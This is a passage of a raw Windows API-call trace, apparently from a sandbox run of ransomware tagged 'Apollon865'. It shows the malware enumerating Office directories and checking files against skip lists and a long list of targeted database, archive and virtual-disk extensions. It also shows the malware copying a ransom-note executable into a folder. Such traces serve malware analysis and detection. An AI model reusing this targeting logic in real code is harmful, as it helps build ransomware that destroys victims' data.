	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="rsd") returned -1
	[0071.100] lstrlenW (lpString="sas7bdat") returned 8
	[0071.100] lstrlenW (lpString="sbf") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="sbf") returned -1
	[0071.100] lstrlenW (lpString="scx") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="scx") returned -1
	[0071.100] lstrlenW (lpString="sdb") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="sdb") returned -1
	[0071.100] lstrlenW (lpString="sdc") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="sdc") returned -1
	[0071.100] lstrlenW (lpString="sdf") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="sdf") returned -1
	[0071.100] lstrlenW (lpString="sis") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="sis") returned -1
	[0071.100] lstrlenW (lpString="spq") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="spq") returned -1
	[0071.100] lstrlenW (lpString="te") returned 2
	[0071.100] lstrcmpiW (lpString1="JS", lpString2="te") returned -1
	[0071.100] lstrlenW (lpString="teacher") returned 7
	[0071.100] lstrcmpiW (lpString1="ENUS.JS", lpString2="teacher") returned -1
	[0071.100] lstrlenW (lpString="tmd") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="tmd") returned -1
	[0071.100] lstrlenW (lpString="tps") returned 3
	[0071.100] lstrcmpiW (lpString1=".JS", lpString2="tps") returned -1
	[0071.100] lstrlenW (lpString="trc") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="trc") returned -1
	[0071.101] lstrlenW (lpString="trc") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="trc") returned -1
	[0071.101] lstrlenW (lpString="trm") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="trm") returned -1
	[0071.101] lstrlenW (lpString="udb") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="udb") returned -1
	[0071.101] lstrlenW (lpString="udl") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="udl") returned -1
	[0071.101] lstrlenW (lpString="usr") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="usr") returned -1
	[0071.101] lstrlenW (lpString="v12") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="v12") returned -1
	[0071.101] lstrlenW (lpString="vis") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="vis") returned -1
	[0071.101] lstrlenW (lpString="vpd") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="vpd") returned -1
	[0071.101] lstrlenW (lpString="vvv") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="vvv") returned -1
	[0071.101] lstrlenW (lpString="wdb") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="wdb") returned -1
	[0071.101] lstrlenW (lpString="wmdb") returned 4
	[0071.101] lstrcmpiW (lpString1="S.JS", lpString2="wmdb") returned -1
	[0071.101] lstrlenW (lpString="wrk") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="wrk") returned -1
	[0071.101] lstrlenW (lpString="xdb") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="xdb") returned -1
	[0071.101] lstrlenW (lpString="xld") returned 3
	[0071.101] lstrcmpiW (lpString1=".JS", lpString2="xld") returned -1
	[0071.101] lstrlenW (lpString="xmlff") returned 5
	[0071.101] lstrcmpiW (lpString1="US.JS", lpString2="xmlff") returned -1
	[0071.101] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5836a590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="menu_arrow.gif", cAlternateFileName="MENU_A~1.GIF")) returned 1
	[0071.101] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.101] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="Apollon865.txt.exe") returned 1
	[0071.101] lstrcmpiW (lpString1="menu_arrow.gif", lpString2=".") returned 1
	[0071.101] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="..") returned 1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="windows") returned -1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="bootmgr") returned 1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="temp") returned -1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="pagefile.sys") returned -1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="boot") returned 1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="ids.txt") returned 1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="ntuser.dat") returned -1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="perflogs") returned -1
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2="MSBuild") returned -1
	[0071.102] lstrlenW (lpString="menu_arrow.gif") returned 14
	[0071.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\MENUS.JS") returned 90
	[0071.102] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="menu_arrow.gif" | out: lpString1="menu_arrow.gif") returned="menu_arrow.gif"
	[0071.102] lstrlenW (lpString="menu_arrow.gif") returned 14
	[0071.102] lstrlenW (lpString="Apollon865") returned 10
	[0071.102] lstrcmpiW (lpString1="_arrow.gif", lpString2="Apollon865") returned -1
	[0071.102] lstrlenW (lpString=".dll") returned 4
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2=".dll") returned 1
	[0071.102] lstrlenW (lpString=".lnk") returned 4
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2=".lnk") returned 1
	[0071.102] lstrlenW (lpString=".ini") returned 4
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2=".ini") returned 1
	[0071.102] lstrlenW (lpString=".sys") returned 4
	[0071.102] lstrcmpiW (lpString1="menu_arrow.gif", lpString2=".sys") returned 1
	[0071.102] lstrlenW (lpString="menu_arrow.gif") returned 14
	[0071.102] lstrlenW (lpString="bak") returned 3
	[0071.102] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0071.102] lstrlenW (lpString="ba_") returned 3
	[0071.102] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0071.102] lstrlenW (lpString="dbb") returned 3
	[0071.102] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0071.102] lstrlenW (lpString="vmdk") returned 4
	[0071.102] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0071.102] lstrlenW (lpString="rar") returned 3
	[0071.102] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0071.102] lstrlenW (lpString="zip") returned 3
	[0071.102] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0071.102] lstrlenW (lpString="tgz") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0071.103] lstrlenW (lpString="vbox") returned 4
	[0071.103] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0071.103] lstrlenW (lpString="vdi") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0071.103] lstrlenW (lpString="vhd") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0071.103] lstrlenW (lpString="vhdx") returned 4
	[0071.103] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0071.103] lstrlenW (lpString="avhd") returned 4
	[0071.103] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0071.103] lstrlenW (lpString="db") returned 2
	[0071.103] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0071.103] lstrlenW (lpString="db2") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0071.103] lstrlenW (lpString="db3") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0071.103] lstrlenW (lpString="dbf") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0071.103] lstrlenW (lpString="mdf") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0071.103] lstrlenW (lpString="mdb") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0071.103] lstrlenW (lpString="sql") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0071.103] lstrlenW (lpString="sqlite") returned 6
	[0071.103] lstrcmpiW (lpString1="ow.gif", lpString2="sqlite") returned -1
	[0071.103] lstrlenW (lpString="sqlite3") returned 7
	[0071.103] lstrcmpiW (lpString1="row.gif", lpString2="sqlite3") returned -1
	[0071.103] lstrlenW (lpString="sqlitedb") returned 8
	[0071.103] lstrcmpiW (lpString1="rrow.gif", lpString2="sqlitedb") returned -1
	[0071.103] lstrlenW (lpString="xml") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0071.103] lstrlenW (lpString="$er") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0071.103] lstrlenW (lpString="4dd") returned 3
	[0071.103] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0071.103] lstrlenW (lpString="4dl") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0071.104] lstrlenW (lpString="^^^") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0071.104] lstrlenW (lpString="abs") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0071.104] lstrlenW (lpString="abx") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0071.104] lstrlenW (lpString="accdb") returned 5
	[0071.104] lstrcmpiW (lpString1="w.gif", lpString2="accdb") returned 1
	[0071.104] lstrlenW (lpString="accdc") returned 5
	[0071.104] lstrcmpiW (lpString1="w.gif", lpString2="accdc") returned 1
	[0071.104] lstrlenW (lpString="accde") returned 5
	[0071.104] lstrcmpiW (lpString1="w.gif", lpString2="accde") returned 1
	[0071.104] lstrlenW (lpString="accdr") returned 5
	[0071.104] lstrcmpiW (lpString1="w.gif", lpString2="accdr") returned 1
	[0071.104] lstrlenW (lpString="accdt") returned 5
	[0071.104] lstrcmpiW (lpString1="w.gif", lpString2="accdt") returned 1
	[0071.104] lstrlenW (lpString="accdw") returned 5
	[0071.104] lstrcmpiW (lpString1="w.gif", lpString2="accdw") returned 1
	[0071.104] lstrlenW (lpString="accft") returned 5
	[0071.104] lstrcmpiW (lpString1="w.gif", lpString2="accft") returned 1
	[0071.104] lstrlenW (lpString="adb") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0071.104] lstrlenW (lpString="adb") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0071.104] lstrlenW (lpString="ade") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0071.104] lstrlenW (lpString="adf") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0071.104] lstrlenW (lpString="adn") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0071.104] lstrlenW (lpString="adp") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0071.104] lstrlenW (lpString="alf") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0071.104] lstrlenW (lpString="ask") returned 3
	[0071.104] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0071.104] lstrlenW (lpString="btr") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0071.105] lstrlenW (lpString="cat") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0071.105] lstrlenW (lpString="cdb") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0071.105] lstrlenW (lpString="ckp") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0071.105] lstrlenW (lpString="cma") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0071.105] lstrlenW (lpString="cpd") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0071.105] lstrlenW (lpString="dacpac") returned 6
	[0071.105] lstrcmpiW (lpString1="ow.gif", lpString2="dacpac") returned 1
	[0071.105] lstrlenW (lpString="dad") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0071.105] lstrlenW (lpString="dadiagrams") returned 10
	[0071.105] lstrcmpiW (lpString1="_arrow.gif", lpString2="dadiagrams") returned -1
	[0071.105] lstrlenW (lpString="daschema") returned 8
	[0071.105] lstrcmpiW (lpString1="rrow.gif", lpString2="daschema") returned 1
	[0071.105] lstrlenW (lpString="db-journal") returned 10
	[0071.105] lstrcmpiW (lpString1="_arrow.gif", lpString2="db-journal") returned -1
	[0071.105] lstrlenW (lpString="db-shm") returned 6
	[0071.105] lstrcmpiW (lpString1="ow.gif", lpString2="db-shm") returned 1
	[0071.105] lstrlenW (lpString="db-wal") returned 6
	[0071.105] lstrcmpiW (lpString1="ow.gif", lpString2="db-wal") returned 1
	[0071.105] lstrlenW (lpString="dbc") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
	[0071.105] lstrlenW (lpString="dbs") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0071.105] lstrlenW (lpString="dbt") returned 3
	[0071.105] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0071.105] lstrlenW (lpString="dbv") returned 3
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0071.106] lstrlenW (lpString="dbx") returned 3
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0071.106] lstrlenW (lpString="dcb") returned 3
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1
	[0071.106] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1
	[0071.106] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1
	[0071.106] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="SEARCH.GIF" | out: lpString1="SEARCH.GIF") returned="SEARCH.GIF"
	[0071.106] lstrlenW (lpString="SEARCH.GIF") returned 10
	[0071.106] lstrlenW (lpString="Apollon865") returned 10
	[0071.106] lstrlenW (lpString=".dll") returned 4
	[0071.106] lstrcmpiW (lpString1="SEARCH.GIF", lpString2=".dll") returned 1
	[0071.106] lstrlenW (lpString=".lnk") returned 4
	[0071.106] lstrcmpiW (lpString1="SEARCH.GIF", lpString2=".lnk") returned 1
	[0071.106] lstrlenW (lpString=".ini") returned 4
	[0071.106] lstrcmpiW (lpString1="SEARCH.GIF", lpString2=".ini") returned 1
	[0071.107] lstrlenW (lpString=".sys") returned 4
	[0071.107] lstrcmpiW (lpString1="SEARCH.GIF", lpString2=".sys") returned 1
	[0071.107] lstrlenW (lpString="SEARCH.GIF") returned 10
	[0071.107] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="SPACER.GIF" | out: lpString1="SPACER.GIF") returned="SPACER.GIF"
	[0071.107] lstrlenW (lpString="SPACER.GIF") returned 10
	[0071.107] lstrlenW (lpString="Apollon865") returned 10
	[0071.107] lstrlenW (lpString=".dll") returned 4
	[0071.107] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".dll") returned 1
	[0071.107] lstrlenW (lpString=".lnk") returned 4
	[0071.107] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".lnk") returned 1
	[0071.107] lstrlenW (lpString=".ini") returned 4
	[0071.107] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".ini") returned 1
	[0071.107] lstrlenW (lpString=".sys") returned 4
	[0071.107] lstrcmpiW (lpString1="SPACER.GIF", lpString2=".sys") returned 1
	[0071.107] lstrlenW (lpString="SPACER.GIF") returned 10
	[0071.107] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="SUBMIT.JS" | out: lpString1="SUBMIT.JS") returned="SUBMIT.JS"
	[0071.107] lstrlenW (lpString="SUBMIT.JS") returned 9
	[0071.107] lstrlenW (lpString="Apollon865") returned 10
	[0071.107] lstrlenW (lpString=".dll") returned 4
	[0071.107] lstrcmpiW (lpString1="SUBMIT.JS", lpString2=".dll") returned 1
	[0071.107] lstrlenW (lpString=".lnk") returned 4
	[0071.107] lstrcmpiW (lpString1="SUBMIT.JS", lpString2=".lnk") returned 1
	[0071.107] lstrlenW (lpString=".ini") returned 4
	[0071.107] lstrcmpiW (lpString1="SUBMIT.JS", lpString2=".ini") returned 1
	[0071.107] lstrlenW (lpString=".sys") returned 4
	[0071.107] lstrcmpiW (lpString1="SUBMIT.JS", lpString2=".sys") returned 1
	[0071.107] lstrlenW (lpString="SUBMIT.JS") returned 9
	[0071.107] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="utilityfunctions.js" | out: lpString1="utilityfunctions.js") returned="utilityfunctions.js"
	[0071.107] lstrlenW (lpString="utilityfunctions.js") returned 19
	[0071.107] lstrlenW (lpString="Apollon865") returned 10
	[0071.108] lstrcmpiW (lpString1="nctions.js", lpString2="Apollon865") returned 1
	[0071.108] lstrlenW (lpString=".dll") returned 4
	[0071.108] lstrcmpiW (lpString1="utilityfunctions.js", lpString2=".dll") returned 1
	[0071.108] lstrlenW (lpString=".lnk") returned 4
	[0071.108] lstrcmpiW (lpString1="utilityfunctions.js", lpString2=".lnk") returned 1
	[0071.108] lstrlenW (lpString=".ini") returned 4
	[0071.108] lstrcmpiW (lpString1="utilityfunctions.js", lpString2=".ini") returned 1
	[0071.108] lstrlenW (lpString=".sys") returned 4
	[0071.108] lstrcmpiW (lpString1="utilityfunctions.js", lpString2=".sys") returned 1
	[0071.108] lstrlenW (lpString="utilityfunctions.js") returned 19
	[0071.108] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="validation.js" | out: lpString1="validation.js") returned="validation.js"
	[0071.108] lstrlenW (lpString="validation.js") returned 13
	[0071.108] lstrlenW (lpString="Apollon865") returned 10
	[0071.108] lstrcmpiW (lpString1="idation.js", lpString2="Apollon865") returned 1
	[0071.108] lstrlenW (lpString=".dll") returned 4
	[0071.108] lstrcmpiW (lpString1="validation.js", lpString2=".dll") returned 1
	[0071.108] lstrlenW (lpString=".lnk") returned 4
	[0071.108] lstrcmpiW (lpString1="validation.js", lpString2=".lnk") returned 1
	[0071.108] lstrlenW (lpString=".ini") returned 4
	[0071.108] lstrcmpiW (lpString1="validation.js", lpString2=".ini") returned 1
	[0071.108] lstrlenW (lpString=".sys") returned 4
	[0071.108] lstrcmpiW (lpString1="validation.js", lpString2=".sys") returned 1
	[0071.108] lstrlenW (lpString="validation.js") returned 13
	[0071.108] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="VIEW.CSS" | out: lpString1="VIEW.CSS") returned="VIEW.CSS"
	[0071.108] lstrlenW (lpString="VIEW.CSS") returned 8
	[0071.108] lstrlenW (lpString="Apollon865") returned 10
	[0071.108] lstrlenW (lpString=".dll") returned 4
	[0071.108] lstrcmpiW (lpString1="VIEW.CSS", lpString2=".dll") returned 1
	[0071.108] lstrlenW (lpString=".lnk") returned 4
	[0071.108] lstrcmpiW (lpString1="VIEW.CSS", lpString2=".lnk") returned 1
	[0071.108] lstrlenW (lpString=".ini") returned 4
	[0071.108] lstrcmpiW (lpString1="VIEW.CSS", lpString2=".ini") returned 1
	[0071.108] lstrlenW (lpString=".sys") returned 4
	[0071.108] lstrcmpiW (lpString1="VIEW.CSS", lpString2=".sys") returned 1
	[0071.109] lstrlenW (lpString="VIEW.CSS") returned 8
	[0071.109] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="VIEW.ICO" | out: lpString1="VIEW.ICO") returned="VIEW.ICO"
	[0071.109] lstrlenW (lpString="VIEW.ICO") returned 8
	[0071.109] lstrlenW (lpString="Apollon865") returned 10
	[0071.109] lstrlenW (lpString=".dll") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.ICO", lpString2=".dll") returned 1
	[0071.109] lstrlenW (lpString=".lnk") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.ICO", lpString2=".lnk") returned 1
	[0071.109] lstrlenW (lpString=".ini") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.ICO", lpString2=".ini") returned 1
	[0071.109] lstrlenW (lpString=".sys") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.ICO", lpString2=".sys") returned 1
	[0071.109] lstrlenW (lpString="VIEW.ICO") returned 8
	[0071.109] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="VIEW.JS" | out: lpString1="VIEW.JS") returned="VIEW.JS"
	[0071.109] lstrlenW (lpString="VIEW.JS") returned 7
	[0071.109] lstrlenW (lpString="Apollon865") returned 10
	[0071.109] lstrlenW (lpString=".dll") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.JS", lpString2=".dll") returned 1
	[0071.109] lstrlenW (lpString=".lnk") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.JS", lpString2=".lnk") returned 1
	[0071.109] lstrlenW (lpString=".ini") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.JS", lpString2=".ini") returned 1
	[0071.109] lstrlenW (lpString=".sys") returned 4
	[0071.109] lstrcmpiW (lpString1="VIEW.JS", lpString2=".sys") returned 1
	[0071.109] lstrlenW (lpString="VIEW.JS") returned 7
	[0071.109] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="VIEWBY.GIF" | out: lpString1="VIEWBY.GIF") returned="VIEWBY.GIF"
	[0071.109] lstrlenW (lpString="VIEWBY.GIF") returned 10
	[0071.109] lstrlenW (lpString="Apollon865") returned 10
	[0071.109] lstrlenW (lpString=".dll") returned 4
	[0071.110] lstrcmpiW (lpString1="VIEWBY.GIF", lpString2=".dll") returned 1
	[0071.110] lstrlenW (lpString=".lnk") returned 4
	[0071.110] lstrcmpiW (lpString1="VIEWBY.GIF", lpString2=".lnk") returned 1
	[0071.110] lstrlenW (lpString=".ini") returned 4
	[0071.110] lstrcmpiW (lpString1="VIEWBY.GIF", lpString2=".ini") returned 1
	[0071.110] lstrlenW (lpString=".sys") returned 4
	[0071.110] lstrcmpiW (lpString1="VIEWBY.GIF", lpString2=".sys") returned 1
	[0071.110] lstrlenW (lpString="VIEWBY.GIF") returned 10
	[0071.110] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="viewDblClick.js" | out: lpString1="viewDblClick.js") returned="viewDblClick.js"
	[0071.110] lstrlenW (lpString="viewDblClick.js") returned 15
	[0071.110] lstrlenW (lpString="Apollon865") returned 10
	[0071.110] lstrcmpiW (lpString1="blClick.js", lpString2="Apollon865") returned 1
	[0071.110] lstrlenW (lpString=".dll") returned 4
	[0071.110] lstrcmpiW (lpString1="viewDblClick.js", lpString2=".dll") returned 1
	[0071.110] lstrlenW (lpString=".lnk") returned 4
	[0071.110] lstrcmpiW (lpString1="viewDblClick.js", lpString2=".lnk") returned 1
	[0071.110] lstrlenW (lpString=".ini") returned 4
	[0071.110] lstrcmpiW (lpString1="viewDblClick.js", lpString2=".ini") returned 1
	[0071.110] lstrlenW (lpString=".sys") returned 4
	[0071.110] lstrcmpiW (lpString1="viewDblClick.js", lpString2=".sys") returned 1
	[0071.110] lstrlenW (lpString="viewDblClick.js") returned 15
	[0071.110] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="ViewHeaderPreview.jpg" | out: lpString1="ViewHeaderPreview.jpg") returned="ViewHeaderPreview.jpg"
	[0071.110] lstrlenW (lpString="ViewHeaderPreview.jpg") returned 21
	[0071.110] lstrlenW (lpString="Apollon865") returned 10
	[0071.110] lstrcmpiW (lpString1="review.jpg", lpString2="Apollon865") returned 1
	[0071.110] lstrlenW (lpString=".dll") returned 4
	[0071.110] lstrcmpiW (lpString1="ViewHeaderPreview.jpg", lpString2=".dll") returned 1
	[0071.110] lstrlenW (lpString=".lnk") returned 4
	[0071.110] lstrcmpiW (lpString1="ViewHeaderPreview.jpg", lpString2=".lnk") returned 1
	[0071.110] lstrlenW (lpString=".ini") returned 4
	[0071.110] lstrcmpiW (lpString1="ViewHeaderPreview.jpg", lpString2=".ini") returned 1
	[0071.110] lstrlenW (lpString=".sys") returned 4
	[0071.111] lstrcmpiW (lpString1="ViewHeaderPreview.jpg", lpString2=".sys") returned 1
	[0071.111] lstrlenW (lpString="ViewHeaderPreview.jpg") returned 21
	[0071.111] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="viewSelectionChanged.js" | out: lpString1="viewSelectionChanged.js") returned="viewSelectionChanged.js"
	[0071.111] lstrlenW (lpString="viewSelectionChanged.js") returned 23
	[0071.111] lstrlenW (lpString="Apollon865") returned 10
	[0071.111] lstrcmpiW (lpString1="Changed.js", lpString2="Apollon865") returned 1
	[0071.111] lstrlenW (lpString=".dll") returned 4
	[0071.111] lstrcmpiW (lpString1="viewSelectionChanged.js", lpString2=".dll") returned 1
	[0071.111] lstrlenW (lpString=".lnk") returned 4
	[0071.111] lstrcmpiW (lpString1="viewSelectionChanged.js", lpString2=".lnk") returned 1
	[0071.111] lstrlenW (lpString=".ini") returned 4
	[0071.111] lstrcmpiW (lpString1="viewSelectionChanged.js", lpString2=".ini") returned 1
	[0071.111] lstrlenW (lpString=".sys") returned 4
	[0071.111] lstrcmpiW (lpString1="viewSelectionChanged.js", lpString2=".sys") returned 1
	[0071.111] lstrlenW (lpString="viewSelectionChanged.js") returned 23
	[0071.111] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates"
	[0071.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0ff8 | out: hHeap=0x580000) returned 1
	[0071.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0071.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates") returned 96
	[0071.111] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates"
	[0071.111] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.111] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.117] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4275af30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4275af30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.118] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
